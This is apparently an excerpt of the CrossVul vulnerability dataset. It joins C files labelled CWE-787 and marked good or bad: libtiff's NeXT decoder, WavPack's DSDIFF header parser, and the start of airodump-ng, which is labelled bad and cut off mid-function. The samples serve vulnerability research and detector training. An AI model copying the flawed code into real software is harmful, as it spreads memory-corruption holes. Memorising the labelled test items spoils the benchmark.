./CrossVul/dataset_final_sorted/CWE-787/c/bad_526_0
crossvul-cpp_data_good_1805_1
/* $Id$ */ /* * Copyright (c) 1988-1997 Sam Leffler * Copyright (c) 1991-1997 Silicon Graphics, Inc. * * Permission to use, copy, modify, distribute, and sell this software and * its documentation for any purpose is hereby granted without fee, provided * that (i) the above copyright notices and this permission notice appear in * all copies of the software and related documentation, and (ii) the names of * Sam Leffler and Silicon Graphics may not be used in any advertising or * publicity relating to the software without the specific, prior written * permission of Sam Leffler and Silicon Graphics. * * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. * * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE * OF THIS SOFTWARE. */ #include "tiffiop.h" #ifdef NEXT_SUPPORT /* * TIFF Library. * * NeXT 2-bit Grey Scale Compression Algorithm Support */ #define SETPIXEL(op, v) { \ switch (npixels++ & 3) { \ case 0: op[0] = (unsigned char) ((v) << 6); break; \ case 1: op[0] |= (v) << 4; break; \ case 2: op[0] |= (v) << 2; break; \ case 3: *op++ |= (v); op_offset++; break; \ } \ } #define LITERALROW 0x00 #define LITERALSPAN 0x40 #define WHITE ((1<<2)-1) static int NeXTDecode(TIFF* tif, uint8* buf, tmsize_t occ, uint16 s) { static const char module[] = "NeXTDecode"; unsigned char *bp, *op; tmsize_t cc; uint8* row; tmsize_t scanline, n; (void) s; /* * Each scanline is assumed to start off as all * white (we assume a PhotometricInterpretation * of ``min-is-black''). */ for (op = (unsigned char*) buf, cc = occ; cc-- > 0;) *op++ = 0xff; bp = (unsigned char *)tif->tif_rawcp; cc = tif->tif_rawcc; scanline = tif->tif_scanlinesize; if (occ % scanline) { TIFFErrorExt(tif->tif_clientdata, module, "Fractional scanlines cannot be read"); return (0); } for (row = buf; cc > 0 && occ > 0; occ -= scanline, row += scanline) { n = *bp++, cc--; switch (n) { case LITERALROW: /* * The entire scanline is given as literal values. */ if (cc < scanline) goto bad; _TIFFmemcpy(row, bp, scanline); bp += scanline; cc -= scanline; break; case LITERALSPAN: { tmsize_t off; /* * The scanline has a literal span that begins at some * offset. */ if( cc < 4 ) goto bad; off = (bp[0] * 256) + bp[1]; n = (bp[2] * 256) + bp[3]; if (cc < 4+n || off+n > scanline) goto bad; _TIFFmemcpy(row+off, bp+4, n); bp += 4+n; cc -= 4+n; break; } default: { uint32 npixels = 0, grey; uint32 imagewidth = tif->tif_dir.td_imagewidth; if( isTiled(tif) ) imagewidth = tif->tif_dir.td_tilewidth; tmsize_t op_offset = 0; /* * The scanline is composed of a sequence of constant * color ``runs''. We shift into ``run mode'' and * interpret bytes as codes of the form * <color><npixels> until we've filled the scanline. */ op = row; for (;;) { grey = (uint32)((n>>6) & 0x3); n &= 0x3f; /* * Ensure the run does not exceed the scanline * bounds, potentially resulting in a security * issue. */ while (n-- > 0 && npixels < imagewidth && op_offset < scanline) SETPIXEL(op, grey); if (npixels >= imagewidth) break; if (op_offset >= scanline ) { TIFFErrorExt(tif->tif_clientdata, module, "Invalid data for scanline %ld", (long) tif->tif_row); return (0); } if (cc == 0) goto bad; n = *bp++, cc--; } break; } } } tif->tif_rawcp = (uint8*) bp; tif->tif_rawcc = cc; return (1); bad: TIFFErrorExt(tif->tif_clientdata, module, "Not enough data for scanline %ld", (long) tif->tif_row); return (0); } static int NeXTPreDecode(TIFF* tif, uint16 s) { static const char module[] = "NeXTPreDecode"; TIFFDirectory *td = &tif->tif_dir; (void)s; if( td->td_bitspersample != 2 ) { TIFFErrorExt(tif->tif_clientdata, module, "Unsupported BitsPerSample = %d", td->td_bitspersample); return (0); } return (1); } int TIFFInitNeXT(TIFF* tif, int scheme) { (void) scheme; tif->tif_predecode = NeXTPreDecode; tif->tif_decoderow = NeXTDecode; tif->tif_decodestrip = NeXTDecode; tif->tif_decodetile = NeXTDecode; return (1); } #endif /* NEXT_SUPPORT */ /* vim: set ts=8 sts=8 sw=8 noet: */ /* * Local Variables: * mode: c * c-basic-offset: 8 * fill-column: 78 * End: */
./CrossVul/dataset_final_sorted/CWE-787/c/good_1805_1
crossvul-cpp_data_good_96_0
//////////////////////////////////////////////////////////////////////////// // **** WAVPACK **** // // Hybrid Lossless Wavefile Compressor // // Copyright (c) 1998 - 2016 David Bryant. // // All Rights Reserved. // // Distributed under the BSD Software License (see license.txt) // //////////////////////////////////////////////////////////////////////////// // dsdiff.c // This module is a helper to the WavPack command-line programs to support DFF files. #include <string.h> #include <stdlib.h> #include <fcntl.h> #include <math.h> #include <stdio.h> #include <ctype.h> #include "wavpack.h" #include "utils.h" #include "md5.h" #ifdef _WIN32 #define strdup(x) _strdup(x) #endif #define WAVPACK_NO_ERROR 0 #define WAVPACK_SOFT_ERROR 1 #define WAVPACK_HARD_ERROR 2 extern int debug_logging_mode; #pragma pack(push,2) typedef struct { char ckID [4]; int64_t ckDataSize; } DFFChunkHeader; typedef struct { char ckID [4]; int64_t ckDataSize; char formType [4]; } DFFFileHeader; typedef struct { char ckID [4]; int64_t ckDataSize; uint32_t version; } DFFVersionChunk; typedef struct { char ckID [4]; int64_t ckDataSize; uint32_t sampleRate; } DFFSampleRateChunk; typedef struct { char ckID [4]; int64_t ckDataSize; uint16_t numChannels; } DFFChannelsHeader; typedef struct { char ckID [4]; int64_t ckDataSize; char compressionType [4]; } DFFCompressionHeader; #pragma pack(pop) #define DFFChunkHeaderFormat "4D" #define DFFFileHeaderFormat "4D4" #define DFFVersionChunkFormat "4DL" #define DFFSampleRateChunkFormat "4DL" #define DFFChannelsHeaderFormat "4DS" #define DFFCompressionHeaderFormat "4D4" int ParseDsdiffHeaderConfig (FILE *infile, char *infilename, char *fourcc, WavpackContext *wpc, WavpackConfig *config) { int64_t infilesize, total_samples; DFFFileHeader dff_file_header; DFFChunkHeader dff_chunk_header; uint32_t bcount; infilesize = DoGetFileSize (infile); memcpy (&dff_file_header, fourcc, 4); if ((!DoReadFile (infile, ((char *) &dff_file_header) + 4, sizeof (DFFFileHeader) - 4, &bcount) || bcount != sizeof (DFFFileHeader) - 4) || strncmp (dff_file_header.formType, "DSD ", 4)) { error_line ("%s is not a valid .DFF file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &dff_file_header, sizeof (DFFFileHeader))) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } #if 1 // this might be a little too picky... WavpackBigEndianToNative (&dff_file_header, DFFFileHeaderFormat); if (infilesize && !(config->qmode & QMODE_IGNORE_LENGTH) && dff_file_header.ckDataSize && dff_file_header.ckDataSize + 1 && dff_file_header.ckDataSize + 12 != infilesize) { error_line ("%s is not a valid .DFF file (by total size)!", infilename); return WAVPACK_SOFT_ERROR; } if (debug_logging_mode) error_line ("file header indicated length = %lld", dff_file_header.ckDataSize); #endif // loop through all elements of the DSDIFF header // (until the data chuck) and copy them to the output file while (1) { if (!DoReadFile (infile, &dff_chunk_header, sizeof (DFFChunkHeader), &bcount) || bcount != sizeof (DFFChunkHeader)) { error_line ("%s is not a valid .DFF file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &dff_chunk_header, sizeof (DFFChunkHeader))) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } WavpackBigEndianToNative (&dff_chunk_header, DFFChunkHeaderFormat); if (debug_logging_mode) error_line ("chunk header indicated length = %lld", dff_chunk_header.ckDataSize); if (!strncmp (dff_chunk_header.ckID, "FVER", 4)) { uint32_t version; if (dff_chunk_header.ckDataSize != sizeof (version) || !DoReadFile (infile, &version, sizeof (version), &bcount) || bcount != sizeof (version)) { error_line ("%s is not a valid .DFF file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &version, sizeof (version))) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } WavpackBigEndianToNative (&version, "L"); if (debug_logging_mode) error_line ("dsdiff file version = 0x%08x", version); } else if (!strncmp (dff_chunk_header.ckID, "PROP", 4)) { char *prop_chunk; if (dff_chunk_header.ckDataSize < 4 || dff_chunk_header.ckDataSize > 1024) { error_line ("%s is not a valid .DFF file!", infilename); return WAVPACK_SOFT_ERROR; } if (debug_logging_mode) error_line ("got PROP chunk of %d bytes total", (int) dff_chunk_header.ckDataSize); prop_chunk = malloc ((size_t) dff_chunk_header.ckDataSize); if (!DoReadFile (infile, prop_chunk, (uint32_t) dff_chunk_header.ckDataSize, &bcount) || bcount != dff_chunk_header.ckDataSize) { error_line ("%s is not a valid .DFF file!", infilename); free (prop_chunk); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, prop_chunk, (uint32_t) dff_chunk_header.ckDataSize)) { error_line ("%s", WavpackGetErrorMessage (wpc)); free (prop_chunk); return WAVPACK_SOFT_ERROR; } if (!strncmp (prop_chunk, "SND ", 4)) { char *cptr = prop_chunk + 4, *eptr = prop_chunk + dff_chunk_header.ckDataSize; uint16_t numChannels, chansSpecified, chanMask = 0; uint32_t sampleRate; while (eptr - cptr >= sizeof (dff_chunk_header)) { memcpy (&dff_chunk_header, cptr, sizeof (dff_chunk_header)); cptr += sizeof (dff_chunk_header); WavpackBigEndianToNative (&dff_chunk_header, DFFChunkHeaderFormat); if (eptr - cptr >= dff_chunk_header.ckDataSize) { if (!strncmp (dff_chunk_header.ckID, "FS ", 4) && dff_chunk_header.ckDataSize == 4) { memcpy (&sampleRate, cptr, sizeof (sampleRate)); WavpackBigEndianToNative (&sampleRate, "L"); cptr += dff_chunk_header.ckDataSize; if (debug_logging_mode) error_line ("got sample rate of %u Hz", sampleRate); } else if (!strncmp (dff_chunk_header.ckID, "CHNL", 4) && dff_chunk_header.ckDataSize >= 2) { memcpy (&numChannels, cptr, sizeof (numChannels)); WavpackBigEndianToNative (&numChannels, "S"); cptr += sizeof (numChannels); chansSpecified = (int)(dff_chunk_header.ckDataSize - sizeof (numChannels)) / 4; while (chansSpecified--) { if (!strncmp (cptr, "SLFT", 4) || !strncmp (cptr, "MLFT", 4)) chanMask |= 0x1; else if (!strncmp (cptr, "SRGT", 4) || !strncmp (cptr, "MRGT", 4)) chanMask |= 0x2; else if (!strncmp (cptr, "LS ", 4)) chanMask |= 0x10; else if (!strncmp (cptr, "RS ", 4)) chanMask |= 0x20; else if (!strncmp (cptr, "C ", 4)) chanMask |= 0x4; else if (!strncmp (cptr, "LFE ", 4)) chanMask |= 0x8; else if (debug_logging_mode) error_line ("undefined channel ID %c%c%c%c", cptr [0], cptr [1], cptr [2], cptr [3]); cptr += 4; } if (debug_logging_mode) error_line ("%d channels, mask = 0x%08x", numChannels, chanMask); } else if (!strncmp (dff_chunk_header.ckID, "CMPR", 4) && dff_chunk_header.ckDataSize >= 4) { if (strncmp (cptr, "DSD ", 4)) { error_line ("DSDIFF files must be uncompressed, not \"%c%c%c%c\"!", cptr [0], cptr [1], cptr [2], cptr [3]); free (prop_chunk); return WAVPACK_SOFT_ERROR; } cptr += dff_chunk_header.ckDataSize; } else { if (debug_logging_mode) error_line ("got PROP/SND chunk type \"%c%c%c%c\" of %d bytes", dff_chunk_header.ckID [0], dff_chunk_header.ckID [1], dff_chunk_header.ckID [2], dff_chunk_header.ckID [3], dff_chunk_header.ckDataSize); cptr += dff_chunk_header.ckDataSize; } } else { error_line ("%s is not a valid .DFF file!", infilename); free (prop_chunk); return WAVPACK_SOFT_ERROR; } } if (chanMask && (config->channel_mask || (config->qmode & QMODE_CHANS_UNASSIGNED))) { error_line ("this DSDIFF file already has channel order information!"); free (prop_chunk); return WAVPACK_SOFT_ERROR; } else if (chanMask) config->channel_mask = chanMask; config->bits_per_sample = 8; config->bytes_per_sample = 1; config->num_channels = numChannels; config->sample_rate = sampleRate / 8; config->qmode |= QMODE_DSD_MSB_FIRST; } else if (debug_logging_mode) error_line ("got unknown PROP chunk type \"%c%c%c%c\" of %d bytes", prop_chunk [0], prop_chunk [1], prop_chunk [2], prop_chunk [3], dff_chunk_header.ckDataSize); free (prop_chunk); } else if (!strncmp (dff_chunk_header.ckID, "DSD ", 4)) { total_samples = dff_chunk_header.ckDataSize / config->num_channels; break; } else { // just copy unknown chunks to output file int bytes_to_copy = (int)(((dff_chunk_header.ckDataSize) + 1) & ~(int64_t)1); char *buff; if (bytes_to_copy < 0 || bytes_to_copy > 4194304) { error_line ("%s is not a valid .DFF file!", infilename); return WAVPACK_SOFT_ERROR; } buff = malloc (bytes_to_copy); if (debug_logging_mode) error_line ("extra unknown chunk \"%c%c%c%c\" of %d bytes", dff_chunk_header.ckID [0], dff_chunk_header.ckID [1], dff_chunk_header.ckID [2], dff_chunk_header.ckID [3], dff_chunk_header.ckDataSize); if (!DoReadFile (infile, buff, bytes_to_copy, &bcount) || bcount != bytes_to_copy || (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, buff, bytes_to_copy))) { error_line ("%s", WavpackGetErrorMessage (wpc)); free (buff); return WAVPACK_SOFT_ERROR; } free (buff); } } if (debug_logging_mode) error_line ("setting configuration with %lld samples", total_samples); if (!WavpackSetConfiguration64 (wpc, config, total_samples, NULL)) { error_line ("%s: %s", infilename, WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } return WAVPACK_NO_ERROR; } int WriteDsdiffHeader (FILE *outfile, WavpackContext *wpc, int64_t total_samples, int qmode) { uint32_t chan_mask = WavpackGetChannelMask (wpc); int num_channels = WavpackGetNumChannels (wpc); DFFFileHeader file_header, prop_header; DFFChunkHeader data_header; DFFVersionChunk ver_chunk; DFFSampleRateChunk fs_chunk; DFFChannelsHeader chan_header; DFFCompressionHeader cmpr_header; char *cmpr_name = "\016not compressed", *chan_ids; int64_t file_size, prop_chunk_size, data_size; int cmpr_name_size, chan_ids_size; uint32_t bcount; if (debug_logging_mode) error_line ("WriteDsdiffHeader (), total samples = %lld, qmode = 0x%02x\n", (long long) total_samples, qmode); cmpr_name_size = (strlen (cmpr_name) + 1) & ~1; chan_ids_size = num_channels * 4; chan_ids = malloc (chan_ids_size); if (chan_ids) { uint32_t scan_mask = 0x1; char *cptr = chan_ids; int ci, uci = 0; for (ci = 0; ci < num_channels; ++ci) { while (scan_mask && !(scan_mask & chan_mask)) scan_mask <<= 1; if (scan_mask & 0x1) memcpy (cptr, num_channels <= 2 ? "SLFT" : "MLFT", 4); else if (scan_mask & 0x2) memcpy (cptr, num_channels <= 2 ? "SRGT" : "MRGT", 4); else if (scan_mask & 0x4) memcpy (cptr, "C ", 4); else if (scan_mask & 0x8) memcpy (cptr, "LFE ", 4); else if (scan_mask & 0x10) memcpy (cptr, "LS ", 4); else if (scan_mask & 0x20) memcpy (cptr, "RS ", 4); else { cptr [0] = 'C'; cptr [1] = (uci / 100) + '0'; cptr [2] = ((uci % 100) / 10) + '0'; cptr [3] = (uci % 10) + '0'; uci++; } scan_mask <<= 1; cptr += 4; } } else { error_line ("can't allocate memory!"); return FALSE; } data_size = total_samples * num_channels; prop_chunk_size = sizeof (prop_header) + sizeof (fs_chunk) + sizeof (chan_header) + chan_ids_size + sizeof (cmpr_header) + cmpr_name_size; file_size = sizeof (file_header) + sizeof (ver_chunk) + prop_chunk_size + sizeof (data_header) + ((data_size + 1) & ~(int64_t)1); memcpy (file_header.ckID, "FRM8", 4); file_header.ckDataSize = file_size - 12; memcpy (file_header.formType, "DSD ", 4); memcpy (prop_header.ckID, "PROP", 4); prop_header.ckDataSize = prop_chunk_size - 12; memcpy (prop_header.formType, "SND ", 4); memcpy (ver_chunk.ckID, "FVER", 4); ver_chunk.ckDataSize = sizeof (ver_chunk) - 12; ver_chunk.version = 0x01050000; memcpy (fs_chunk.ckID, "FS ", 4); fs_chunk.ckDataSize = sizeof (fs_chunk) - 12; fs_chunk.sampleRate = WavpackGetSampleRate (wpc) * 8; memcpy (chan_header.ckID, "CHNL", 4); chan_header.ckDataSize = sizeof (chan_header) + chan_ids_size - 12; chan_header.numChannels = num_channels; memcpy (cmpr_header.ckID, "CMPR", 4); cmpr_header.ckDataSize = sizeof (cmpr_header) + cmpr_name_size - 12; memcpy (cmpr_header.compressionType, "DSD ", 4); memcpy (data_header.ckID, "DSD ", 4); data_header.ckDataSize = data_size; WavpackNativeToBigEndian (&file_header, DFFFileHeaderFormat); WavpackNativeToBigEndian (&ver_chunk, DFFVersionChunkFormat); WavpackNativeToBigEndian (&prop_header, DFFFileHeaderFormat); WavpackNativeToBigEndian (&fs_chunk, DFFSampleRateChunkFormat); WavpackNativeToBigEndian (&chan_header, DFFChannelsHeaderFormat); WavpackNativeToBigEndian (&cmpr_header, DFFCompressionHeaderFormat); WavpackNativeToBigEndian (&data_header, DFFChunkHeaderFormat); if (!DoWriteFile (outfile, &file_header, sizeof (file_header), &bcount) || bcount != sizeof (file_header) || !DoWriteFile (outfile, &ver_chunk, sizeof (ver_chunk), &bcount) || bcount != sizeof (ver_chunk) || !DoWriteFile (outfile, &prop_header, sizeof (prop_header), &bcount) || bcount != sizeof (prop_header) || !DoWriteFile (outfile, &fs_chunk, sizeof (fs_chunk), &bcount) || bcount != sizeof (fs_chunk) || !DoWriteFile (outfile, &chan_header, sizeof (chan_header), &bcount) || bcount != sizeof (chan_header) || !DoWriteFile (outfile, chan_ids, chan_ids_size, &bcount) || bcount != chan_ids_size || !DoWriteFile (outfile, &cmpr_header, sizeof (cmpr_header), &bcount) || bcount != sizeof (cmpr_header) || !DoWriteFile (outfile, cmpr_name, cmpr_name_size, &bcount) || bcount != cmpr_name_size || !DoWriteFile (outfile, &data_header, sizeof (data_header), &bcount) || bcount != sizeof (data_header)) { error_line ("can't write .DSF data, disk probably full!"); free (chan_ids); return FALSE; } free (chan_ids); return TRUE; }
./CrossVul/dataset_final_sorted/CWE-787/c/good_96_0
crossvul-cpp_data_bad_2311_0
/* * pcap-compatible 802.11 packet sniffer * * Copyright (C) 2006-2013 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <sys/time.h> #ifndef TIOCGWINSZ #include <sys/termios.h> #endif #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <signal.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <ctype.h> #include <errno.h> #include <time.h> #include <getopt.h> #include <fcntl.h> #include <pthread.h> #include <termios.h> #include <sys/wait.h> #ifdef HAVE_PCRE #include <pcre.h> #endif #include "version.h" #include "pcap.h" #include "uniqueiv.h" #include "crypto.h" #include "osdep/osdep.h" #include "airodump-ng.h" #include "osdep/common.h" #include "common.h" #ifdef USE_GCRYPT GCRY_THREAD_OPTION_PTHREAD_IMPL; #endif void dump_sort( void ); void dump_print( int ws_row, int ws_col, int if_num ); char * get_manufacturer_from_string(char * buffer) { char * manuf = NULL; char * buffer_manuf; if (buffer != NULL && strlen(buffer) > 0) { buffer_manuf = strstr(buffer, "(hex)"); if (buffer_manuf != NULL) { buffer_manuf += 6; // skip '(hex)' and one more character (there's at least one 'space' character after that string) while (*buffer_manuf == '\t' || *buffer_manuf == ' ') { ++buffer_manuf; } // Did we stop at the manufacturer if (*buffer_manuf != '\0') { // First make sure there's no end of line if (buffer_manuf[strlen(buffer_manuf) - 1] == '\n' || buffer_manuf[strlen(buffer_manuf) - 1] == '\r') { buffer_manuf[strlen(buffer_manuf) - 1] = '\0'; if (*buffer_manuf != '\0' && (buffer_manuf[strlen(buffer_manuf) - 1] == '\n' || buffer[strlen(buffer_manuf) - 1] == '\r')) { buffer_manuf[strlen(buffer_manuf) - 1] = '\0'; } } if (*buffer_manuf != '\0') { if ((manuf = (char *)malloc((strlen(buffer_manuf) + 1) * sizeof(char))) == NULL) { perror("malloc failed"); return NULL; } snprintf(manuf, strlen(buffer_manuf) + 1, "%s", buffer_manuf); } } } } return manuf; } void textcolor(int attr, int fg, int bg) { char command[13]; /* Command is the control command to the terminal */ sprintf(command, "%c[%d;%d;%dm", 0x1B, attr, fg + 30, bg + 40); fprintf(stderr, "%s", command); fflush(stderr); } void textcolor_fg(int fg) { char command[13]; /* Command is the control command to the terminal */ sprintf(command, "\033[%dm", fg + 30); fprintf(stderr, "%s", command); fflush(stderr); } void textcolor_bg(int bg) { char command[13]; /* Command is the control command to the terminal */ sprintf(command, "\033[%dm", bg + 40); fprintf(stderr, "%s", command); fflush(stderr); } void textstyle(int attr) { char command[13]; /* Command is the control command to the terminal */ sprintf(command, "\033[%im", attr); fprintf(stderr, "%s", command); fflush(stderr); } void reset_term() { struct termios oldt, newt; tcgetattr( STDIN_FILENO, &oldt ); newt = oldt; newt.c_lflag |= ( ICANON | ECHO ); tcsetattr( STDIN_FILENO, TCSANOW, &newt ); } int mygetch( ) { struct termios oldt, newt; int ch; tcgetattr( STDIN_FILENO, &oldt ); newt = oldt; newt.c_lflag &= ~( ICANON | ECHO ); tcsetattr( STDIN_FILENO, TCSANOW, &newt ); ch = getchar(); tcsetattr( STDIN_FILENO, TCSANOW, &oldt ); return ch; } void resetSelection() { G.sort_by = SORT_BY_POWER; G.sort_inv = 1; G.start_print_ap=1; G.start_print_sta=1; G.selected_ap=1; G.selected_sta=1; G.selection_ap=0; G.selection_sta=0; G.mark_cur_ap=0; G.skip_columns=0; G.do_pause=0; G.do_sort_always=0; memset(G.selected_bssid, '\x00', 6); } #define KEY_TAB 0x09 //switch between APs/clients for scrolling #define KEY_SPACE 0x20 //pause/resume output #define KEY_ARROW_UP 0x41 //scroll #define KEY_ARROW_DOWN 0x42 //scroll #define KEY_ARROW_RIGHT 0x43 //scroll #define KEY_ARROW_LEFT 0x44 //scroll #define KEY_a 0x61 //cycle through active information (ap/sta/ap+sta/ap+sta+ack) #define KEY_c 0x63 //cycle through channels #define KEY_d 0x64 //default mode #define KEY_i 0x69 //inverse sorting #define KEY_m 0x6D //mark current AP #define KEY_n 0x6E //? #define KEY_r 0x72 //realtime sort (de)activate #define KEY_s 0x73 //cycle through sorting void input_thread( void *arg) { if(!arg){} while( G.do_exit == 0 ) { int keycode=0; keycode=mygetch(); if(keycode == KEY_s) { G.sort_by++; G.selection_ap = 0; G.selection_sta = 0; if(G.sort_by > MAX_SORT) G.sort_by = 0; switch(G.sort_by) { case SORT_BY_NOTHING: snprintf(G.message, sizeof(G.message), "][ sorting by first seen"); break; case SORT_BY_BSSID: snprintf(G.message, sizeof(G.message), "][ sorting by bssid"); break; case SORT_BY_POWER: snprintf(G.message, sizeof(G.message), "][ sorting by power level"); break; case SORT_BY_BEACON: snprintf(G.message, sizeof(G.message), "][ sorting by beacon number"); break; case SORT_BY_DATA: snprintf(G.message, sizeof(G.message), "][ sorting by number of data packets"); break; case SORT_BY_PRATE: snprintf(G.message, sizeof(G.message), "][ sorting by packet rate"); break; case SORT_BY_CHAN: snprintf(G.message, sizeof(G.message), "][ sorting by channel"); break; case SORT_BY_MBIT: snprintf(G.message, sizeof(G.message), "][ sorting by max data rate"); break; case SORT_BY_ENC: snprintf(G.message, sizeof(G.message), "][ sorting by encryption"); break; case SORT_BY_CIPHER: snprintf(G.message, sizeof(G.message), "][ sorting by cipher"); break; case SORT_BY_AUTH: snprintf(G.message, sizeof(G.message), "][ sorting by authentication"); break; case SORT_BY_ESSID: snprintf(G.message, sizeof(G.message), "][ sorting by ESSID"); break; default: break; } pthread_mutex_lock( &(G.mx_sort) ); dump_sort(); pthread_mutex_unlock( &(G.mx_sort) ); } if(keycode == KEY_SPACE) { G.do_pause = (G.do_pause+1)%2; if(G.do_pause) { snprintf(G.message, sizeof(G.message), "][ paused output"); pthread_mutex_lock( &(G.mx_print) ); fprintf( stderr, "\33[1;1H" ); dump_print( G.ws.ws_row, G.ws.ws_col, G.num_cards ); fprintf( stderr, "\33[J" ); fflush(stderr); pthread_mutex_unlock( &(G.mx_print) ); } else snprintf(G.message, sizeof(G.message), "][ resumed output"); } if(keycode == KEY_r) { G.do_sort_always = (G.do_sort_always+1)%2; if(G.do_sort_always) snprintf(G.message, sizeof(G.message), "][ realtime sorting activated"); else snprintf(G.message, sizeof(G.message), "][ realtime sorting deactivated"); } if(keycode == KEY_m) { G.mark_cur_ap = 1; } if(keycode == KEY_ARROW_DOWN) { if(G.selection_ap == 1) { G.selected_ap++; } if(G.selection_sta == 1) { G.selected_sta++; } } if(keycode == KEY_ARROW_UP) { if(G.selection_ap == 1) { G.selected_ap--; if(G.selected_ap < 1) G.selected_ap = 1; } if(G.selection_sta == 1) { G.selected_sta--; if(G.selected_sta < 1) G.selected_sta = 1; } } if(keycode == KEY_i) { G.sort_inv*=-1; if(G.sort_inv < 0) snprintf(G.message, sizeof(G.message), "][ inverted sorting order"); else snprintf(G.message, sizeof(G.message), "][ normal sorting order"); } if(keycode == KEY_TAB) { if(G.selection_ap == 0) { G.selection_ap = 1; G.selected_ap = 1; snprintf(G.message, sizeof(G.message), "][ enabled AP selection"); G.sort_by = SORT_BY_NOTHING; } else if(G.selection_ap == 1) { G.selection_ap = 0; G.sort_by = SORT_BY_NOTHING; snprintf(G.message, sizeof(G.message), "][ disabled selection"); } } if(keycode == KEY_a) { if(G.show_ap == 1 && G.show_sta == 1 && G.show_ack == 0) { G.show_ap = 1; G.show_sta = 1; G.show_ack = 1; snprintf(G.message, sizeof(G.message), "][ display ap+sta+ack"); } else if(G.show_ap == 1 && G.show_sta == 1 && G.show_ack == 1) { G.show_ap = 1; G.show_sta = 0; G.show_ack = 0; snprintf(G.message, sizeof(G.message), "][ display ap only"); } else if(G.show_ap == 1 && G.show_sta == 0 && G.show_ack == 0) { G.show_ap = 0; G.show_sta = 1; G.show_ack = 0; snprintf(G.message, sizeof(G.message), "][ display sta only"); } else if(G.show_ap == 0 && G.show_sta == 1 && G.show_ack == 0) { G.show_ap = 1; G.show_sta = 1; G.show_ack = 0; snprintf(G.message, sizeof(G.message), "][ display ap+sta"); } } if (keycode == KEY_d) { resetSelection(); snprintf(G.message, sizeof(G.message), "][ reset selection to default"); } if(G.do_exit == 0 && !G.do_pause) { pthread_mutex_lock( &(G.mx_print) ); fprintf( stderr, "\33[1;1H" ); dump_print( G.ws.ws_row, G.ws.ws_col, G.num_cards ); fprintf( stderr, "\33[J" ); fflush(stderr); pthread_mutex_unlock( &(G.mx_print) ); } } } void trim(char *str) { int i; int begin = 0; int end = strlen(str) - 1; while (isspace((int)str[begin])) begin++; while ((end >= begin) && isspace((int)str[end])) end--; // Shift all characters back to the start of the string array. for (i = begin; i <= end; i++) str[i - begin] = str[i]; str[i - begin] = '\0'; // Null terminate string. } struct oui * load_oui_file(void) { FILE *fp; char * manuf; char buffer[BUFSIZ]; unsigned char a[2]; unsigned char b[2]; unsigned char c[2]; struct oui *oui_ptr = NULL, *oui_head = NULL; if (!(fp = fopen(OUI_PATH0, "r"))) { if (!(fp = fopen(OUI_PATH1, "r"))) { if (!(fp = fopen(OUI_PATH2, "r"))) { if (!(fp = fopen(OUI_PATH3, "r"))) { return NULL; } } } } memset(buffer, 0x00, sizeof(buffer)); while (fgets(buffer, sizeof(buffer), fp) != NULL) { if (!(strstr(buffer, "(hex)"))) continue; memset(a, 0x00, sizeof(a)); memset(b, 0x00, sizeof(b)); memset(c, 0x00, sizeof(c)); // Remove leading/trailing whitespaces. trim(buffer); if (sscanf(buffer, "%2c-%2c-%2c", a, b, c) == 3) { if (oui_ptr == NULL) { if (!(oui_ptr = (struct oui *)malloc(sizeof(struct oui)))) { fclose(fp); perror("malloc failed"); return NULL; } } else { if (!(oui_ptr->next = (struct oui *)malloc(sizeof(struct oui)))) { fclose(fp); perror("malloc failed"); return NULL; } oui_ptr = oui_ptr->next; } memset(oui_ptr->id, 0x00, sizeof(oui_ptr->id)); memset(oui_ptr->manuf, 0x00, sizeof(oui_ptr->manuf)); snprintf(oui_ptr->id, sizeof(oui_ptr->id), "%c%c:%c%c:%c%c", a[0], a[1], b[0], b[1], c[0], c[1]); manuf = get_manufacturer_from_string(buffer); if (manuf != NULL) { snprintf(oui_ptr->manuf, sizeof(oui_ptr->manuf), "%s", manuf); free(manuf); } else { 